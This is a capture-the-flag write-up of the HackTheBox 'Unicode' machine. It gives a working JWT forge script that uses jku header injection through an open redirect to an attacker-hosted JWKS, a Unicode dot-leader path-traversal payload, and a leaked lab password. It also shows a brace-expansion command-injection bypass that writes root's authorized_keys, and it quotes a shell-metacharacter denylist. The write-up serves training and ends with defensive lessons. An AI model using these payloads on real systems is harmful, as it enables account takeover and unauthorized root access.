HTB: Unicode Writeup

Unicode - HackTheBox Writeup

Machine Information

AttributeDetails
NameUnicode
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.11.x
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Unicode is a Linux medium built around a custom “HackMedia” web app that signs its session JWTs against a self-hosted JWKS file. Chaining a jku header trust flaw with an open redirect lets an attacker mint an admin token from scratch. From the admin dashboard, a heavily filtered LFI endpoint turns out to normalize a Unicode “two-dot-leader” character back into a literal .., giving arbitrary file read and a set of MySQL credentials that get reused as an SSH login. Root is a PyInstaller-compiled sudo binary whose curl wrapper blocks the usual shell metacharacters but forgets {, }, and , — exactly what’s needed for a bash brace-expansion bypass.

TL;DR: Register account → forge admin JWT via jku header + open-redirect-hosted JWKS → admin dashboard → Unicode dot-leader () LFI bypass reads db.yaml → password reuse over SSH as code → sudo /usr/bin/treport (PyInstaller) → decompile → brace-expansion bypass of the curl input filter → root.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.10.11.x

Results:

  • 22/tcp — OpenSSH
  • 80/tcp — nginx/1.18 — vhost hackmedia.htb

The nginx vhost was added to /etc/hosts:

Terminal window
echo "10.10.11.x hackmedia.htb" | sudo tee -a /etc/hosts

Service Enumeration

hackmedia.htb is a “threat report” style portal with registration/login. After registering an account (pwner123), the app issues an auth cookie that decodes as a JWT. The JWT header carries a kid and references a JWKS file served at /static/jwks.json — meaning the server validates the token signature against a public key it fetches/serves itself rather than a hardcoded key. That’s the first flag: whoever controls what JWKS the server trusts, controls what identity claims it will accept.

Vulnerability Assessment

Two more findings completed the picture before any exploitation:

  • An open-redirect parameter on the site (/redirect/?url=) that will happily bounce the server to an attacker-controlled URL.
  • Once authenticated, a /display/?page= parameter that smelled like LFI but rejected any request containing ../.

Initial Foothold

Exploitation Path

Step 1 — Forge an admin JWT via jku header injection (CWE-347: Improper Verification of Cryptographic Signature)

The JOSE/JWS spec allows a jku (JWK Set URL) header claim telling the verifier where to fetch the public key used to check the signature. If the server doesn’t pin jku to a trusted host, an attacker can point it anywhere — including at their own key set — and self-sign whatever claims they like. Here the server’s own JWKS lived under /static/, and the site’s open redirect could be reached by path-traversing out of that static route:

/static/../redirect/?url=10.10.15.180:8000/jwks.json

That path resolves server-side back to /redirect/?url=..., which the app then follows to fetch the “trusted” JWKS from my box on tun0 (10.10.15.180) instead of its own /static/jwks.json.

I generated a local RSA keypair and JWKS with kid: hackthebox matching a forged token header, served it with a simple HTTP listener, and rebuilt the auth cookie:

Terminal window
# serve a forged jwks.json on tun0 so the app's jku fetch lands on us
python3 -m http.server 8000
# forge_jwt.py — mint an RS256 token whose signature we control end-to-end
import jwt, json
private_key = open("attacker_rsa").read()
header = {
"typ": "JWT",
"alg": "RS256",
"kid": "hackthebox",
"jku": "http://hackmedia.htb/static/../redirect/?url=10.10.15.180:8000/jwks.json" # MUST be last
}
payload = {"user": "admin"}
token = jwt.encode(payload, private_key, algorithm="RS256", headers=header)
print(token)

Key gotcha discovered live: the server doesn’t parse the JWT header as real JSON when extracting jku — it string-matches on jku: and reads everything after it to the end of the header. If jku isn’t the last key in the header object, whatever follows it (,"kid":"hackthebox","typ":"JWT") gets appended onto the URL and the fetch 404s. Reordering the header so jku is last fixed it, and the forged token verified with {"user":"admin"}.

Swapping this cookie into the browser session dropped me straight into the admin dashboard.

Step 2 — Unicode normalization LFI bypass (CWE-22: Path Traversal)

The admin dashboard’s /display/?page= parameter powers a report viewer and rejects any request containing a literal ../. Standard traversal encodings (URL-encoding, double-encoding, ..;/, etc.) all hit the same filter. The server, however, applies Unicode normalization to the page value — and does it after the traversal check rather than before, a classic validate-then-canonicalize ordering bug. Feeding it the U+2025 “two-dot leader” character (, visually two dots as a single codepoint) sails past the literal ../ filter, and the server’s normalization step folds it right back into an ordinary ..:

http://hackmedia.htb/display/?page=‥/‥/‥/‥/‥/‥/‥/home/code/coder/db.yaml

That read /home/code/coder/db.yaml, which contained the app’s MySQL credential set — including a password:

B3stC0d3r2021@@!

Step 3 — Password reuse to SSH

The credential belonged to a real system account, code (already implied by the home directory path). Password reuse against SSH landed a shell directly:

Terminal window
ssh code@10.10.11.x
# password: B3stC0d3r2021@@!

user.txt read from code’s home directory.


Privilege Escalation

/usr/bin/treport
sudo -l

treport is a standalone PyInstaller-compiled binary (custom “threat report” management tool), runnable as root with no password. PyInstaller bundles a frozen Python interpreter plus a .pyc of the app — recoverable back to near-original source:

Terminal window
# pull the binary to a local box for offline reversing
scp code@10.10.11.x:/usr/bin/treport .
# unpack the PyInstaller archive to get at the .pyc
python3 pyinstxtractor.py treport
# decompile the recovered .pyc back to Python source
uncompyle6 treport_extracted/treport.pyc > treport_source.py

Reviewing the recovered download() function showed a denylist-based filter guarding an argument that gets concatenated straight into a shell command:

# recovered from treport's download() routine
command_injection_list = ['$', '`', ';', '&', '|', '||', '>', '<', '?', "'",
'@', '#', '$', '%', '^', '(', ')']
ip = input('Enter the IP/file_name:')
if re.search(r'\s', ip):
print('INVALID IP'); sys.exit(0)
if 'file' in ip or 'gopher' in ip or 'mysql' in ip:
print('INVALID URL'); sys.exit(0)
for vars in command_injection_list:
if vars in ip:
print('NOT ALLOWED'); sys.exit(0)
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
os.system(cmd)

The blocklist covers most shell metacharacters and blocks whitespace outright with \s — but never blocks {, }, or ,. That’s a well-known bash argument-injection gap (CWE-88): {a,b} brace-expands into two space-separated tokens (a b) after bash parses the command line, i.e. after the Python-side whitespace check has already passed on the raw string. This lets an attacker smuggle effective spaces — and therefore extra curl arguments — through a filter that only inspects the string before bash ever sees it.

Using that gap I built a brace-expansion payload against the treport sudo invocation to redirect curl’s output into /root/.ssh/authorized_keys, planting my SSH public key on disk for root:

Terminal window
sudo /usr/bin/treport
# input crafted with {ip,-o,/root/.ssh/authorized_keys}-style brace expansion,
# forcing curl to fetch my pubkey and write it as root's authorized_keys
Terminal window
# with the key in place, authenticate directly as root
ssh -i attacker_key root@10.10.11.x

root.txt read from /root/.


Attack Chain Summary

Register account → decode session JWT → identify server-hosted jwks.json + open redirect
→ forge RS256 admin JWT via jku header pointed at attacker-hosted JWKS (through the redirect)
→ admin dashboard → /display/?page= LFI blocked on literal "../"
→ bypass with Unicode two-dot-leader (‥), server normalizes it back to ".."
→ read /home/code/coder/db.yaml → MySQL password
→ password reuse over SSH as code → user.txt
→ sudo -l: /usr/bin/treport (NOPASSWD, PyInstaller binary)
→ pyinstxtractor + uncompyle6 recover source → curl-wrapper filter misses { } ,
→ brace-expansion argument injection → write SSH key to /root/.ssh/authorized_keys
→ ssh as root → root.txt

Tools Used

ToolPurpose
nmapPort/service scanning
Browser / cookie editorInspecting and swapping the JWT session cookie
PyJWT (custom forge script)Crafting the RS256 admin JWT with a manipulated jku header
python3 -m http.serverServing the attacker-controlled jwks.json on tun0
sshPassword-reuse login as code; final root login via planted key
pyinstxtractorUnpacking the PyInstaller treport binary
uncompyle6Decompiling the recovered .pyc back to Python source
curl (target-side, hijacked)Vehicle for the brace-expansion root escalation

Key Learnings

Techniques Practiced

  • JWT jku header trust abuse to self-sign arbitrary claims
  • Chaining an open redirect to smuggle a server-side fetch to attacker infrastructure
  • Unicode normalization bypasses against naive string-based path-traversal filters
  • Reversing a PyInstaller-frozen Python binary back to source (pyinstxtractor + uncompyle6)
  • Bash brace-expansion as a whitespace/argument-injection filter bypass in a sudo binary

Lessons Learned

  1. Never trust a client-suppliable jku/jwk header — pin signature verification to a fixed, server-side key, not a URL the token itself can point anywhere.
  2. Open redirects are not “low severity, cosmetic” findings — here one was the pivot that let a forged JWKS fetch escape the app’s own trusted static path.
  3. Input sanitization must happen after canonicalization, not before — filtering for ../ and then normalizing Unicode afterward reintroduces exactly the traversal you tried to block.
  4. Denylist-based shell filters are fragile: blocking $, `, ;, &, |, and whitespace still left {, }, and , open, which is enough for bash to reconstruct spaces and multi-argument commands the filter never saw.
  5. PyInstaller is not a security boundary — any frozen Python binary handed to a lower-privileged sudoer can be extracted and decompiled back to near-original source.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • TheCyberGeek & amra, “Unicode” — official HackTheBox writeup (Document No. D22.100.169), Machine Author: wh0am1root. Used here only for conceptual grounding on the jku/open-redirect chain, the Unicode dot-leader normalization bypass, and the PyInstaller reversing/brace-expansion technique — all specific values above (IP, cookie tokens, credentials, timestamps) are from this run’s own solve, not the reference.